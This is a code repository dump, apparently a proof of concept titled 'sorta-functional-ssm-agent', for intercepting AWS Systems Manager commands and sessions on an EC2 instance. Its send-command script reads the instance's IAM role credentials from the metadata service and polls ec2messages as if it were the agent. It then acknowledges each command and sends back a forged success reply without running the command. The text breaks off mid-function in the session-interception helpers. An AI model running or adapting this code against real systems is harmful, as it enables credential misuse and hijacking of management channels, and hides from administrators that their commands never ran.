├── README.md ├── ssm-document-interception ├── aws_requests.py ├── requirements.txt └── ssm-send-command-interception-poc.py └── ssm-session-interception ├── aws_msg.py ├── aws_requests.py ├── requirements.txt └── ssm-session-interception-poc.py /README.md: -------------------------------------------------------------------------------- 1 | # sorta-functional-ssm-agent 2 | This is a custom SSM agent which is sorta functional 3 | -------------------------------------------------------------------------------- /ssm-document-interception/aws_requests.py: -------------------------------------------------------------------------------- 1 | import requests, json, datetime, hashlib, hmac 2 | 3 | 4 | def sign(key, msg): 5 | return hmac.new(key, msg.encode("utf-8"), hashlib.sha256).digest() 6 | 7 | 8 | def getSignatureKey(key, date_stamp, regionName, serviceName): 9 | kDate = sign(('AWS4' + key).encode('utf-8'), date_stamp) 10 | kRegion = sign(kDate, regionName) 11 | kService = sign(kRegion, serviceName) 12 | kSigning = sign(kService, 'aws4_request') 13 | return kSigning 14 | 15 | 16 | def acknowledge_message(instance_id, acknowledge_id, access_key, secret_access_key, session_token): 17 | method = 'POST' 18 | service = 'ec2messages' 19 | host = 'ec2messages.us-east-1.amazonaws.com' 20 | region = 'us-east-1' 21 | endpoint = 'https://ec2messages.us-east-1.amazonaws.com/' 22 | content_type = 'application/x-amz-json-1.1' 23 | amz_target = 'EC2WindowsMessageDeliveryService.AcknowledgeMessage' 24 | 25 | request_parameters = {} 26 | request_parameters["MessageId"] = "aws.ssm." + acknowledge_id + "." + instance_id 27 | 28 | request_parameters = json.dumps(request_parameters) 29 | 30 | t = datetime.datetime.utcnow() 31 | amz_date = t.strftime('%Y%m%dT%H%M%SZ') 32 | date_stamp = t.strftime('%Y%m%d') # Date w/o time, used in credential scope 33 | 34 | canonical_uri = '/' 35 | 36 | canonical_querystring = '' 37 | 38 | canonical_headers = 'content-type:' + content_type + '\n' + 'host:' + host + '\n' + 'x-amz-date:' + amz_date + '\n' + 'x-amz-target:' + amz_target + '\n' 39 | 40 | signed_headers = 'content-type;host;x-amz-date;x-amz-target' 41 | 42 | payload_hash = hashlib.sha256(request_parameters.encode('utf-8')).hexdigest() 43 | 44 | canonical_request = method + '\n' + canonical_uri + '\n' + canonical_querystring + '\n' + canonical_headers + '\n' + signed_headers + '\n' + payload_hash 45 | 46 | algorithm = 'AWS4-HMAC-SHA256' 47 | credential_scope = date_stamp + '/' + region + '/' + service + '/' + 'aws4_request' 48 | string_to_sign = algorithm + '\n' + amz_date + '\n' + credential_scope + '\n' + hashlib.sha256(canonical_request.encode('utf-8')).hexdigest() 49 | 50 | signing_key = getSignatureKey(secret_access_key, date_stamp, region, service) 51 | 52 | signature = hmac.new(signing_key, (string_to_sign).encode('utf-8'), hashlib.sha256).hexdigest() 53 | 54 | authorization_header = algorithm + ' ' + 'Credential=' + access_key + '/' + credential_scope + ', ' + 'SignedHeaders=' + signed_headers + ', ' + 'Signature=' + signature 55 | 56 | headers = {'Content-Type':content_type, 57 | 'X-Amz-Date':amz_date, 58 | 'X-Amz-Target':amz_target, 59 | 'X-Amz-Security-Token':session_token, 60 | 'Authorization':authorization_header} 61 | 62 | r = requests.post(endpoint, data=request_parameters, headers=headers) 63 | 64 | print("Acknowledge Message -> Response (%s): %s" % (r.status_code, r.text)) 65 | 66 | 67 | def send_reply(instance_id, acknowledge_id, access_key, secret_access_key, session_token): 68 | method = 'POST' 69 | service = 'ec2messages' 70 | host = 'ec2messages.us-east-1.amazonaws.com' 71 | region = 'us-east-1' 72 | endpoint = 'https://ec2messages.us-east-1.amazonaws.com/' 73 | content_type = 'application/x-amz-json-1.1' 74 | amz_target = 'EC2WindowsMessageDeliveryService.SendReply' 75 | 76 | request_parameters = {} 77 | request_parameters["MessageId"] = "aws.ssm." + acknowledge_id + "." + instance_id 78 | request_parameters["Payload"] = "{\"additionalInfo\":{\"agent\":{\"lang\":\"en-US\",\"name\":\"amazon-ssm-agent\",\"os\":\"\",\"osver\":\"1\",\"ver\":\"\"},\"dateTime\":\"2021-01-03T19:42:06.770Z\",\"runId\":\"\",\"runtimeStatusCounts\":{\"Success\":1}},\"documentStatus\":\"Success\",\"documentTraceOutput\":\"\",\"runtimeStatus\":{\"aws:runShellScript\":{\"status\":\"Success\",\"code\":0,\"name\":\"aws:runShellScript\",\"output\":\"Ain't your business\\n\",\"startDateTime\":\"2021-01-03T19:42:01.480Z\",\"endDateTime\":\"2021-01-03T19:42:06.769Z\",\"outputS3BucketName\":\"\",\"outputS3KeyPrefix\":\"\",\"stepName\":\"\",\"standardOutput\":\"Ain't your business\\n\",\"standardError\":\"\"}}}" 79 | request_parameters["ReplyId"] = acknowledge_id 80 | 81 | request_parameters = json.dumps(request_parameters) 82 | 83 | t = datetime.datetime.utcnow() 84 | amz_date = t.strftime('%Y%m%dT%H%M%SZ') 85 | date_stamp = t.strftime('%Y%m%d') # Date w/o time, used in credential scope 86 | 87 | canonical_uri = '/' 88 | 89 | canonical_querystring = '' 90 | 91 | canonical_headers = 'content-type:' + content_type + '\n' + 'host:' + host + '\n' + 'x-amz-date:' + amz_date + '\n' + 'x-amz-target:' + amz_target + '\n' 92 | 93 | signed_headers = 'content-type;host;x-amz-date;x-amz-target' 94 | 95 | payload_hash = hashlib.sha256(request_parameters.encode('utf-8')).hexdigest() 96 | 97 | canonical_request = method + '\n' + canonical_uri + '\n' + canonical_querystring + '\n' + canonical_headers + '\n' + signed_headers + '\n' + payload_hash 98 | 99 | algorithm = 'AWS4-HMAC-SHA256' 100 | credential_scope = date_stamp + '/' + region + '/' + service + '/' + 'aws4_request' 101 | string_to_sign = algorithm + '\n' + amz_date + '\n' + credential_scope + '\n' + hashlib.sha256(canonical_request.encode('utf-8')).hexdigest() 102 | 103 | signing_key = getSignatureKey(secret_access_key, date_stamp, region, service) 104 | 105 | signature = hmac.new(signing_key, (string_to_sign).encode('utf-8'), hashlib.sha256).hexdigest() 106 | 107 | authorization_header = algorithm + ' ' + 'Credential=' + access_key + '/' + credential_scope + ', ' + 'SignedHeaders=' + signed_headers + ', ' + 'Signature=' + signature 108 | 109 | headers = {'Content-Type':content_type, 110 | 'X-Amz-Date':amz_date, 111 | 'X-Amz-Target':amz_target, 112 | 'X-Amz-Security-Token':session_token, 113 | 'Authorization':authorization_header} 114 | 115 | r = requests.post(endpoint, data=request_parameters, headers=headers) 116 | 117 | print("Send Reply -> Response (%s): %s" % (r.status_code, r.text)) 118 | 119 | 120 | def get_messages(instance_id, message_id, access_key, secret_access_key, session_token): 121 | method = 'POST' 122 | service = 'ec2messages' 123 | host = 'ec2messages.us-east-1.amazonaws.com' 124 | region = 'us-east-1' 125 | endpoint = 'https://ec2messages.us-east-1.amazonaws.com/' 126 | content_type = 'application/x-amz-json-1.1' 127 | amz_target = 'EC2WindowsMessageDeliveryService.GetMessages' 128 | 129 | request_parameters = {} 130 | request_parameters["Destination"] = instance_id 131 | request_parameters["MessagesRequestId"] = message_id 132 | request_parameters["VisibilityTimeoutInSeconds"] = 10 133 | 134 | request_parameters = json.dumps(request_parameters) 135 | 136 | t = datetime.datetime.utcnow() 137 | amz_date = t.strftime('%Y%m%dT%H%M%SZ') 138 | date_stamp = t.strftime('%Y%m%d') # Date w/o time, used in credential scope 139 | 140 | canonical_uri = '/' 141 | 142 | canonical_querystring = '' 143 | 144 | canonical_headers = 'content-type:' + content_type + '\n' + 'host:' + host + '\n' + 'x-amz-date:' + amz_date + '\n' + 'x-amz-target:' + amz_target + '\n' 145 | 146 | signed_headers = 'content-type;host;x-amz-date;x-amz-target' 147 | 148 | payload_hash = hashlib.sha256(request_parameters.encode('utf-8')).hexdigest() 149 | 150 | canonical_request = method + '\n' + canonical_uri + '\n' + canonical_querystring + '\n' + canonical_headers + '\n' + signed_headers + '\n' + payload_hash 151 | 152 | algorithm = 'AWS4-HMAC-SHA256' 153 | credential_scope = date_stamp + '/' + region + '/' + service + '/' + 'aws4_request' 154 | string_to_sign = algorithm + '\n' + amz_date + '\n' + credential_scope + '\n' + hashlib.sha256(canonical_request.encode('utf-8')).hexdigest() 155 | 156 | signing_key = getSignatureKey(secret_access_key, date_stamp, region, service) 157 | 158 | signature = hmac.new(signing_key, (string_to_sign).encode('utf-8'), hashlib.sha256).hexdigest() 159 | 160 | authorization_header = algorithm + ' ' + 'Credential=' + access_key + '/' + credential_scope + ', ' + 'SignedHeaders=' + signed_headers + ', ' + 'Signature=' + signature 161 | 162 | headers = {'Content-Type':content_type, 163 | 'X-Amz-Date':amz_date, 164 | 'X-Amz-Target':amz_target, 165 | 'X-Amz-Security-Token':session_token, 166 | 'Authorization':authorization_header} 167 | 168 | try: 169 | r = requests.post(endpoint, data=request_parameters, headers=headers, timeout=3) 170 | except requests.exceptions.Timeout: 171 | return "" 172 | response = json.loads(r.text) 173 | 174 | if len(response["Messages"]) > 0: 175 | resp_payload = json.loads(response["Messages"][0]["Payload"]) 176 | return resp_payload 177 | else: 178 | return "" 179 | 180 | 181 | def update_instance_information(hostname, ip_address, instance_id, access_key, secret_access_key, session_token): 182 | method = 'POST' 183 | service = 'ssm' 184 | host = 'ssm.us-east-1.amazonaws.com' 185 | region = 'us-east-1' 186 | endpoint = 'https://ssm.us-east-1.amazonaws.com/' 187 | content_type = 'application/x-amz-json-1.1' 188 | amz_target = 'AmazonSSM.UpdateInstanceInformation' 189 | 190 | request_parameters = {} 191 | request_parameters["AgentName"] = "amazon-ssm-agent" 192 | request_parameters["AgentStatus"] = "Active" 193 | request_parameters["AgentVersion"] = "2.3.978.0" 194 | request_parameters["ComputerName"] = hostname 195 | request_parameters["IPAddress"] = ip_address 196 | request_parameters["InstanceId"] = instance_id 197 | request_parameters["PlatformName"] = "Ubuntu" 198 | request_parameters["PlatformType"] = "Linux" 199 | request_parameters["PlatformVersion"] = "20.04" 200 | 201 | request_parameters = json.dumps(request_parameters) 202 | 203 | t = datetime.datetime.utcnow() 204 | amz_date = t.strftime('%Y%m%dT%H%M%SZ') 205 | date_stamp = t.strftime('%Y%m%d') # Date w/o time, used in credential scope 206 | 207 | canonical_uri = '/' 208 | 209 | canonical_querystring = '' 210 | 211 | canonical_headers = 'content-type:' + content_type + '\n' + 'host:' + host + '\n' + 'x-amz-date:' + amz_date + '\n' + 'x-amz-target:' + amz_target + '\n' 212 | 213 | signed_headers = 'content-type;host;x-amz-date;x-amz-target' 214 | 215 | payload_hash = hashlib.sha256(request_parameters.encode('utf-8')).hexdigest() 216 | 217 | canonical_request = method + '\n' + canonical_uri + '\n' + canonical_querystring + '\n' + canonical_headers + '\n' + signed_headers + '\n' + payload_hash 218 | 219 | algorithm = 'AWS4-HMAC-SHA256' 220 | credential_scope = date_stamp + '/' + region + '/' + service + '/' + 'aws4_request' 221 | string_to_sign = algorithm + '\n' + amz_date + '\n' + credential_scope + '\n' + hashlib.sha256(canonical_request.encode('utf-8')).hexdigest() 222 | 223 | signing_key = getSignatureKey(secret_access_key, date_stamp, region, service) 224 | 225 | signature = hmac.new(signing_key, (string_to_sign).encode('utf-8'), hashlib.sha256).hexdigest() 226 | 227 | authorization_header = algorithm + ' ' + 'Credential=' + access_key + '/' + credential_scope + ', ' + 'SignedHeaders=' + signed_headers + ', ' + 'Signature=' + signature 228 | 229 | headers = {'Content-Type':content_type, 230 | 'X-Amz-Date':amz_date, 231 | 'X-Amz-Target':amz_target, 232 | 'X-Amz-Security-Token':session_token, 233 | 'Authorization':authorization_header} 234 | 235 | r = requests.post(endpoint, data=request_parameters, headers=headers) 236 | 237 | print("Update Instance Information -> Response (%s): %s" % (r.status_code, r.text)) 238 | 239 | 240 | -------------------------------------------------------------------------------- /ssm-document-interception/requirements.txt: -------------------------------------------------------------------------------- 1 | websocket-client 2 | -------------------------------------------------------------------------------- /ssm-document-interception/ssm-send-command-interception-poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests, json, uuid 4 | import aws_requests 5 | 6 | 7 | def retrieve_meta() -> json: 8 | resp = requests.get("http://169.254.169.254/latest/dynamic/instance-identity/document") 9 | return json.loads(resp.text) 10 | 11 | 12 | def retrieve_role_name() -> str: 13 | resp = requests.get("http://169.254.169.254/latest/meta-data/iam/security-credentials/") 14 | return resp.text 15 | 16 | 17 | def retrieve_hostname() -> str: 18 | resp = requests.get("http://169.254.169.254/latest/meta-data/local-hostname/") 19 | return resp.text 20 | 21 | 22 | def retrieve_ipv4() -> str: 23 | resp = requests.get("http://169.254.169.254/latest/meta-data/local-ipv4/") 24 | return resp.text 25 | 26 | 27 | def retrieve_role_creds(role_name) -> json: 28 | headers = { "X-Aws-Ec2-Metadata-Token-Ttl-Seconds": "21600" } 29 | resp = requests.put("http://169.254.169.254/latest/api/token", headers=headers) 30 | api_token = resp.text 31 | 32 | headers = { "X-Aws-Ec2-Metadata-Token": api_token } 33 | resp = requests.get("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role_name, headers=headers) 34 | return json.loads(resp.text) 35 | 36 | # Get role name and creds 37 | role_name = retrieve_role_name() 38 | role_creds = retrieve_role_creds(role_name) 39 | meta = retrieve_meta() 40 | 41 | # Need to tell ssm who we are - The native client may already do this, but we might as well 42 | aws_requests.update_instance_information( 43 | retrieve_hostname(), 44 | retrieve_ipv4(), 45 | meta['instanceId'], 46 | role_creds['AccessKeyId'], 47 | role_creds['SecretAccessKey'], 48 | role_creds['Token'] 49 | ) 50 | 51 | # Bother ec2messages to get commands for send-command 52 | while True: 53 | message_id = "" 54 | command_payload = "" 55 | while command_payload == "": 56 | message_id = str(uuid.uuid4()) 57 | command_payload = aws_requests.get_messages( 58 | meta['instanceId'], 59 | message_id, 60 | role_creds['AccessKeyId'], 61 | role_creds['SecretAccessKey'], 62 | role_creds['Token'] 63 | ) 64 | 65 | # print the command 66 | print("Command:", command_payload['Parameters']['commands']) 67 | command_id = command_payload['CommandId'] 68 | 69 | # Get acknowledge message 70 | aws_requests.acknowledge_message(meta['instanceId'], command_id, role_creds['AccessKeyId'], role_creds['SecretAccessKey'], role_creds['Token']) 71 | aws_requests.send_reply(meta['instanceId'], command_id, role_creds['AccessKeyId'], role_creds['SecretAccessKey'], role_creds['Token']) 72 | -------------------------------------------------------------------------------- /ssm-session-interception/aws_msg.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys, uuid, time, hashlib, binascii 4 | 5 | # the ssm-agent has this beauty in agent/session/contracts/agentmessage.go 6 | # Shame I didn't start this project in Go, now we're gonna have to write python to 7 | # deserialize all this. No biggie 8 | 9 | # Stealing their constants 10 | 11 | # HL - HeaderLength is a 4 byte integer that represents the header length. 12 | # MessageType is a 32 byte UTF-8 string containing the message type. 13 | # SchemaVersion is a 4 byte integer containing the message schema version number. 14 | # CreatedDate is an 8 byte integer containing the message create epoch millis in UTC. 15 | # SequenceNumber is an 8 byte integer containing the message sequence number for serialized message streams. 16 | # Flags is an 8 byte unsigned integer containing a packed array of control flags: 17 | # Bit 0 is SYN - SYN is set (1) when the recipient should consider Seq to be the first message number in the stream 18 | # Bit 1 is FIN - FIN is set (1) when this message is the final message in the sequence. 19 | # MessageId is a 40 byte UTF-8 string containing a random UUID identifying this message. 20 | # Payload digest is a 32 byte containing the SHA-256 hash of the payload. 21 | # Payload Type is a 4 byte integer containing the payload type. 22 | # Payload length is an 4 byte unsigned integer containing the byte length of data in the Payload field. 23 | # Payload is a variable length byte data. 24 | # 25 | # | HL| MessageType |Ver| CD | Seq | Flags | 26 | # | MessageId | Digest |PayType| PayLen| 27 | # | Payload | 28 | 29 | 30 | class AgentMessage: 31 | messageType = "" 32 | schemaVersion = "" 33 | createdDate = "" 34 | sequenceNumber = "" 35 | flags = "" 36 | messageId = "" 37 | payloadDigest = "" 38 | payloadType = "" 39 | payloadLength = "" 40 | headerLength = "" 41 | payload = "" 42 | 43 | def __init__(self, message): 44 | self.messageType = getString(message, AgentMessage_MessageTypeOffset, AgentMessage_MessageTypeLength) 45 | print(f"\nMessage Type: {self.messageType}") 46 | 47 | self.schemaVersion = getUInteger(message, AgentMessage_SchemaVersionOffset) 48 | print(f"Schema Version: {self.schemaVersion}") 49 | 50 | self.createdDate = getULong(message, AgentMessage_CreatedDateOffset) 51 | print(f"Created Date: {self.createdDate}") 52 | 53 | self.sequenceNumber = getLong(message, AgentMessage_SequenceNumberOffset) 54 | print(f"Sequence Number: {self.sequenceNumber}") 55 | 56 | self.flags = getULong(message, AgentMessage_FlagsOffset) 57 | print(f"Flags: {self.flags}") 58 | 59 | self.messageId = str(getUuid(message, AgentMessage_MessageIdOffset)) 60 | print(f"Message ID: {self.messageId}") 61 | 62 | self.payloadDigest = getBytes(message, AgentMessage_PayloadDigestOffset, AgentMessage_PayloadDigestLength) 63 | print(f"Payload Digest: {self.payloadDigest}") 64 | 65 | self.payloadType = getUInteger(message, AgentMessage_PayloadTypeOffset) 66 | print(f"Payload Type: {self.payloadType}") 67 | 68 | self.payloadLength = getUInteger(message, AgentMessage_PayloadLengthOffset) 69 | print(f"Payload Length: {self.payloadLength}") 70 | 71 | self.headerLength = getUInteger(message, AgentMessage_HLOffset) 72 | print(f"Header Length: {self.headerLength}") 73 | 74 | self.payload = message[self.headerLength+AgentMessage_PayloadLengthLength:] 75 | print(f"Payload: {self.payload}") 76 | 77 | 78 | AgentMessage_HLLength = 4 79 | AgentMessage_MessageTypeLength = 32 80 | AgentMessage_SchemaVersionLength = 4 81 | AgentMessage_CreatedDateLength = 8 82 | AgentMessage_SequenceNumberLength = 8 83 | AgentMessage_FlagsLength = 8 84 | AgentMessage_MessageIdLength = 16 85 | AgentMessage_PayloadDigestLength = 32 86 | AgentMessage_PayloadTypeLength = 4 87 | AgentMessage_PayloadLengthLength = 4 88 | 89 | AgentMessage_HLOffset = 0 90 | AgentMessage_MessageTypeOffset = AgentMessage_HLOffset + AgentMessage_HLLength 91 | AgentMessage_SchemaVersionOffset = AgentMessage_MessageTypeOffset + AgentMessage_MessageTypeLength 92 | AgentMessage_CreatedDateOffset = AgentMessage_SchemaVersionOffset + AgentMessage_SchemaVersionLength 93 | AgentMessage_SequenceNumberOffset = AgentMessage_CreatedDateOffset + AgentMessage_CreatedDateLength 94 | AgentMessage_FlagsOffset = AgentMessage_SequenceNumberOffset + AgentMessage_SequenceNumberLength 95 | AgentMessage_MessageIdOffset = AgentMessage_FlagsOffset + AgentMessage_FlagsLength 96 | AgentMessage_PayloadDigestOffset = AgentMessage_MessageIdOffset + AgentMessage_MessageIdLength 97 | AgentMessage_PayloadTypeOffset = AgentMessage_PayloadDigestOffset + AgentMessage_PayloadDigestLength 98 | AgentMessage_PayloadLengthOffset = AgentMessage_PayloadTypeOffset + AgentMessage_PayloadTypeLength 99 | AgentMessage_PayloadOffset = AgentMessage_PayloadLengthOffset + AgentMessage_PayloadLengthLength 100 | 101 | 102 | def deserialize(message): 103 | return AgentMessage(message) 104 | 105 | 106 | def serialize(message, message_type, schema_version, created_date, sequence_number, flags, messageid, payload_type): 107 | payloadLength = len(message) 108 | headerLength = AgentMessage_PayloadLengthOffset 109 | 110 | totalMessageLength = headerLength + AgentMessage_PayloadLengthLength + payloadLength 111 | result = bytearray(totalMessageLength) 112 | 113 | result = putUInteger(result, AgentMessage_HLOffset, headerLength) 114 | 115 | startPosition = AgentMessage_MessageTypeOffset 116 | endPosition = AgentMessage_MessageTypeOffset + AgentMessage_MessageTypeLength - 1 117 | result = putString(result, startPosition, endPosition, message_type) 118 | 119 | result = putUInteger(result, AgentMessage_SchemaVersionOffset, schema_version) 120 | 121 | result = putULong(result, AgentMessage_CreatedDateOffset, created_date) 122 | 123 | result = putLong(result, AgentMessage_SequenceNumberOffset, sequence_number) 124 | 125 | result = putULong(result, AgentMessage_FlagsOffset, flags) 126 | 127 | result = putUuid(result, AgentMessage_MessageIdOffset, messageid) 128 | 129 | hasher = hashlib.sha256(message.encode()).hexdigest() 130 | hasher_bytes = inputBytes = binascii.unhexlify(hasher) 131 | 132 | startPosition = AgentMessage_PayloadDigestOffset 133 | endPosition = AgentMessage_PayloadDigestOffset + AgentMessage_PayloadDigestLength - 1 134 | 135 | result = putBytes(result, startPosition, endPosition, hasher_bytes) 136 | 137 | result = putUInteger(result, AgentMessage_PayloadTypeOffset, payload_type) 138 | 139 | result = putUInteger(result, AgentMessage_PayloadLengthOffset, payloadLength) 140 | 141 | startPosition = AgentMessage_PayloadOffset 142 | endPosition = AgentMessage_PayloadOffset + payloadLength - 1 143 | 144 | result = putBytes(result, startPosition, endPosition, message.encode()) 145 | 146 | return bytes(result) 147 | 148 | def getUInteger(input_bytes, offset): 149 | return getInteger(input_bytes, offset) 150 | 151 | 152 | def putUInteger(result, offset, value): 153 | return putInteger(result, offset, value) 154 | 155 | 156 | def getInteger(input_bytes, offset): 157 | byteArrayLength = len(input_bytes) 158 | if offset > byteArrayLength-1 or offset+4 > byteArrayLength-1 or offset < 0: 159 | print("ERROR: getInteger") 160 | return bytesToInteger(input_bytes[offset:offset+4]) 161 | 162 | 163 | def putInteger(byteArray, offset, value): 164 | byteArrayLength = len(byteArray) 165 | #if offset > byteArrayLength-1 or offset+4 > byteArrayLength-1 or offset < 0: 166 | # print("ERROR: putInteger") 167 | 168 | bytess = integerToBytes(value) 169 | byteArray = byteArray[:offset] + bytess + byteArray[offset+4+1:] 170 | #for count, index in enumerate(range(offset,offset+4)): 171 | # byteArray[index] = bytess[count] 172 | 173 | return byteArray 174 | 175 | 176 | def bytesToInteger(input_bytes): 177 | inputLength = len(input_bytes) 178 | if inputLength != 4: 179 | print("ERROR: bytesToInteger") 180 | return int.from_bytes(input_bytes, "big") 181 | 182 | 183 | def integerToBytes(input_bytes): 184 | return input_bytes.to_bytes(4, "big") 185 | 186 | 187 | def getString(input_bytes, offset, stringLength): 188 | byteArrayLength = len(input_bytes) 189 | if offset > byteArrayLength-1 or offset+stringLength-1 > byteArrayLength-1 or offset < 0: 190 | print("ERROR: getString") 191 | 192 | # remove nulls from the bytes array 193 | return input_bytes[offset:offset+stringLength].decode("UTF-8") 194 | 195 | 196 | def putString(byteArray, offsetStart, offsetEnd, inputString): 197 | byteArrayLength = len(byteArray) 198 | if offsetStart > byteArrayLength-1 or offsetEnd > byteArrayLength-1 or offsetStart > offsetEnd or offsetStart < 0: 199 | print("ERROR: putString 1") 200 | 201 | if offsetEnd-offsetStart+1 < len(inputString): 202 | print("ERROR: putString 2") 203 | 204 | for i in range(offsetStart, offsetEnd+1): 205 | byteArray[i] = ord(' ') 206 | 207 | # previous offsetEnd+1 208 | byteArray = byteArray[:offsetStart] + inputString.encode() + byteArray[offsetStart+len(inputString.encode()):] 209 | 210 | return byteArray 211 | 212 | 213 | def getULong(input_bytes, offset): 214 | return getLong(input_bytes, offset) 215 | 216 | 217 | def putULong(byteArray, offset, value): 218 | return putLong(byteArray, offset, value) 219 | 220 | 221 | def bytesToLong(input_bytes): 222 | inputLength = len(input_bytes) 223 | if inputLength != 8: 224 | print("ERROR: bytesToLong") 225 | return int.from_bytes(input_bytes, "big") 226 | 227 | 228 | def getLong(input_bytes, offset): 229 | byteArrayLength = len(input_bytes) 230 | if offset > byteArrayLength-1 or offset+8 > byteArrayLength-1 or offset < 0: 231 | print("ERROR: getLong") 232 | return bytesToLong(input_bytes[offset:offset+8]) 233 | 234 | 235 | def putLong(byteArray, offset, value): 236 | byteArrayLength = len(byteArray) 237 | if offset > byteArrayLength-1 or offset+8 > byteArrayLength-1 or offset < 0: 238 | print("ERROR: putLong") 239 | 240 | mbytes = longToBytes(value) 241 | 242 | byteArray = byteArray[:offset] + mbytes + byteArray[offset+8+1:] 243 | 244 | return byteArray 245 | 246 | 247 | def longToBytes(input_int): 248 | some_bytes = input_int.to_bytes(8, 'big') 249 | if len(some_bytes) != 8: 250 | print("ERROR: longToBytes") 251 | return some_bytes 252 | 253 | 254 | def getUuid(input_bytes, offset): 255 | byteArrayLength = len(input_bytes) 256 | if offset > byteArrayLength-1 or offset+16-1 > byteArrayLength-1 or offset < 0: 257 | print("ERROR: getUuid") 258 | 259 | leastSignificantLong = getLong(input_bytes, offset) 260 | leastSignificantBytes = longToBytes(leastSignificantLong) 261 | 262 | mostSignificantLong = getLong(input_bytes, offset+8) 263 | mostSignificantBytes = longToBytes(mostSignificantLong) 264 | 265 | uuidBytes = mostSignificantBytes + leastSignificantBytes 266 | return uuid.UUID(bytes=uuidBytes) 267 | 268 | 269 | def putUuid(byteArray, offset, input_uuid): 270 | if len(input_uuid.bytes) == 0: 271 | print("ERROR: putUuid 1") 272 | 273 | byteArrayLength = len(byteArray) 274 | if offset > byteArrayLength-1 or offset+16-1 > byteArrayLength-1 or offset < 0 : 275 | print("ERROR: putUuid 2") 276 | 277 | leastSignificantLong = bytesToLong(input_uuid.bytes[8:16]) 278 | mostSignificantLong = bytesToLong(input_uuid.bytes[0:8]) 279 | 280 | byteArray = putLong(byteArray, offset, leastSignificantLong) 281 | byteArray = putLong(byteArray, offset+8, mostSignificantLong) 282 | 283 | return byteArray 284 | 285 | 286 | def getBytes(input_bytes, offset, byteLength): 287 | byteArrayLength = len(input_bytes) 288 | if offset > byteArrayLength-1 or offset+byteLength-1 > byteArrayLength-1 or offset < 0: 289 | print("ERROR: getBytes") 290 | return input_bytes[offset:offset+byteLength] 291 | 292 | 293 | def putBytes(byteArray, offsetStart, offsetEnd, inputBytes): 294 | byteArrayLength = len(byteArray) 295 | #if offsetStart > byteArrayLength-1 or offsetEnd > byteArrayLength-1 or offsetStart > offsetEnd or offsetStart < 0: 296 | # print("ERROR: putBytes 1") 297 | 298 | if offsetEnd-offsetStart+1 != len(inputBytes): 299 | print("ERROR: putBytes 2") 300 | 301 | byteArray = byteArray[:offsetStart] + inputBytes + byteArray[offsetEnd+1:] 302 | return byteArray 303 | 304 | 305 | #created_date = int(round(time.time() * 1000)) 306 | #a = serialize('{"SchemaVersion":1,"SessionState":"Connected","SessionId":"Nick-09ff5e695b9e8cbc4"}', "agent_session_state", 1, created_date, 0, 3, uuid.uuid4(), 0) 307 | # 308 | #with open('binary.txt','rb') as r: 309 | # f = r.read() 310 | # AgentMessage(f) 311 | # print(f) 312 | # 313 | -------------------------------------------------------------------------------- /ssm-session-interception/aws_requests.py: -------------------------------------------------------------------------------- 1 | import sys, os, base64, datetime, hashlib, hmac 2 | import requests, json, time, uuid 3 | import websocket, asyncio 4 | import urllib 5 | 6 | import aws_msg 7 | 8 | def sign(key, msg): 9 | return hmac.new(key, msg.encode("utf-8"), hashlib.sha256).digest() 10 | 11 | def getSignatureKey(key, date_stamp, regionName, serviceName): 12 | kDate = sign(('AWS4' + key).encode('utf-8'), date_stamp) 13 | kRegion = sign(kDate, regionName) 14 | kService = sign(kRegion, serviceName) 15 | kSigning = sign(kService, 'aws4_request') 16 | return kSigning 17 | 18 | 19 | def initiate_websocket_connection(url, path, access_token, A_access_key, A_secret_access_key, A_session_token): 20 | method = 'GET' 21 | service = 'ssmmessages' 22 | host = 'ssmmessages.us-east-1.amazonaws.com' 23 | region = 'us-east-1' 24 | endpoint = 'https://ssmmessages.us-east-1.amazonaws.com' 25 | 26 | access_key = A_access_key 27 | secret_key = A_secret_access_key 28 | session_token = A_session_token 29 | 30 | t = datetime.datetime.utcnow() 31 | amzdate = t.strftime('%Y%m%dT%H%M%SZ') 32 | datestamp = t.strftime('%Y%m%d') # Date w/o time, used in credential scope 33 | 34 | canonical_uri = path[:path.find("?")] 35 | 36 | canonical_querystring = path[path.find("?")+1:].replace("amp;","") 37 | 38 | url = url.replace("amp;","") 39 | 40 | path = path.replace("amp;","") 41 | 42 | canonical_headers = 'host:' + host + '\n' + 'x-amz-date:' + amzdate + '\n' + 'x-amz-security-token:' + session_token + '\n' 43 | 44 | signed_headers = 'host;x-amz-date;x-amz-security-token' 45 | 46 | payload_hash = hashlib.sha256(('').encode('utf-8')).hexdigest() 47 | 48 | canonical_request = method + '\n' + canonical_uri + '\n' + canonical_querystring + '\n' + canonical_headers + '\n' + signed_headers + '\n' + payload_hash 49 | 50 | algorithm = 'AWS4-HMAC-SHA256' 51 | credential_scope = datestamp + '/' + region + '/' + service + '/' + 'aws4_request' 52 | string_to_sign = algorithm + '\n' + amzdate + '\n' + credential_scope + '\n' + hashlib.sha256(canonical_request.encode('utf-8')).hexdigest() 53 | 54 | signing_key = getSignatureKey(secret_key, datestamp, region, service) 55 | 56 | signature = hmac.new(signing_key, (string_to_sign).encode('utf-8'), hashlib.sha256).hexdigest() 57 | 58 | authorization_header = algorithm + ' ' + 'Credential=' + access_key + '/' + credential_scope + ', ' + 'SignedHeaders=' + signed_headers + ', ' + 'Signature=' + signature 59 | 60 | headers = {'X-Amz-Date':amzdate, 'X-Amz-Security-Token':session_token, 'Authorization':authorization_header, 'User-Agent': 'Go-http-client/1.1'} 61 | 62 | request_url = endpoint + canonical_uri + '?' + canonical_querystring 63 | 64 | ws = websocket.WebSocket() 65 | 66 | return (url, headers) 67 | 68 | 69 | def post_data_channel(sessionid, A_access_key, A_secret_access_key, A_session_token): 70 | method = 'POST' 71 | service = 'ssmmessages' 72 | host = 'ssmmessages.us-east-1.amazonaws.com' 73 | region = 'us-east-1' 74 | endpoint = 'https://ssmmessages.us-east-1.amazonaws.com/' 75 | content_type = 'application/json' 76 | 77 | request_parameters = {} 78 | request_parameters["MessageSchemaVersion"] = "1.0" 79 | request_parameters["RequestId"] = str(uuid.uuid4()) 80 | request_parameters["ClientId"] = "" 81 | 82 | request_parameters = json.dumps(request_parameters) 83 | 84 | access_key = A_access_key 85 | secret_key = A_secret_access_key 86 | session_token = A_session_token 87 | 88 | t = datetime.datetime.utcnow() 89 | amz_date = t.strftime('%Y%m%dT%H%M%SZ') 90 | date_stamp = t.strftime('%Y%m%d') # Date w/o time, used in credential scope 91 | 92 | canonical_uri = '/v1/data-channel/'+sessionid 93 | 94 | canonical_querystring = '' 95 | 96 | 